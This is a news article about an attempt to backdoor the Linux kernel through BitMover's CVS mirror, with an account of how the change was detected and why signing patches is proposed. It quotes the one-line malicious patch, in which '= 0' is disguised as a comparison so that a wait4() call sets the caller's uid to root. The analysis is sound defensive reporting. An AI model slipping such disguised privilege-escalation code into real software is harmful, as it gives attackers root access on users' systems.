An attempt to backdoor the kernel

The mainline 2.4 and 2.6.0-test kernels are both currently maintained in BitKeeper repositories. As a service for those who, for whatever reason, are unable or unwilling to use BitKeeper, however, the folks at BitMover have set up a separate CVS repository. That repository contains the current code and the full revision history. It is not, however, the place where new changes are committed. So, when somebody managed to push some changes directly into CVS, Larry McVoy noticed quickly.

Over the years, people have had numerous things to say about BitKeeper and the people behind it. Nobody, however, has accused them of being insufficiently careful. Every change in the CVS repository includes backlink information tying it to the equivalent BitKeeper changesets. The changes in question lacked that information, and thus stood out immediately.

An attempt to make a change in this way is suspicious, to say the least, so there was a lot of interest in what the attempted change was. The actual patch confirmed all suspicious; the relevant code was:

+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;

It looks much like a standard error check, until you notice that the code is not testing current->uid - it is, instead setting it to zero. A program which called wait4() with the given flags set would, thereafter, be running as root. This is, in other words, a classic back door.

The resulting vulnerability, had it ever made it to a deployed system, would have been a locally-exploitable hole. Some sites have said that the hole would have been susceptible to remote exploits, but that is not the case. An attacker would need to be able to run a program on the target system first.

But this attack never had any chance of corrupting the mainline kernel. The CVS repository is generated from BitKeeper, it is not a path for patches to get into the BitKeeper repositories. So the code in question could only affect users who were working from the CVS repository. Kernels used by distributors probably do not come from that repository, and, as this incident has shown, illicit code can only remain there for so long before being detected.

As it turns out, a successful attack on the public BitKeeper repositories would not be a whole lot more effective. By its nature, BitKeeper works with many copies of the repository; it is good for BitKeeper users that disk space is cheap. The public 2.6 repository reflects all of Linus's work, but it is not his repository. When Linus applies a set of patches, he has to explicitly "push" his private repository to the public server before the rest of the world sees it.

BitKeeper takes a very paranoid view of its data. Checksums are applied all over the place, and a push from one repository to another can't be done if the receiving repository has unknown changesets in it. So, if somebody were to sneak something into the public repository, Linus would notice it the next time he attempted a push of his own. At that point the red alert could be sounded, and the only people affected would be those who had pulled development kernels directly from the repository.

So the only way to get a back door into the kernel source - and to have it be widely distributed - would be to get Linus or one of his top-tier lieutenants to accept it directly. That would be a challenge, since these people do actually look over code before accepting it. It is not entirely impossible, however; a forged message to Linus appearing to contain a patch from a trusted contributor might just be accepted. The development process is reasonably secure, but not perfect.

For this reason, this episode has renewed a push to incorporate digital signature checking into BitKeeper. If the source management system checked such signatures automatically, the most obvious forgeries would be detected before they were merged. Larry McVoy has indicated that he is willing to build such a feature into the free (beer) version of BitKeeper. Whether the key kernel hackers would be willing to start signing all of their patches is another question. The pain of having to sign patches could well be far less than the pain of dealing with a widely distributed backdoor in the kernel, however.

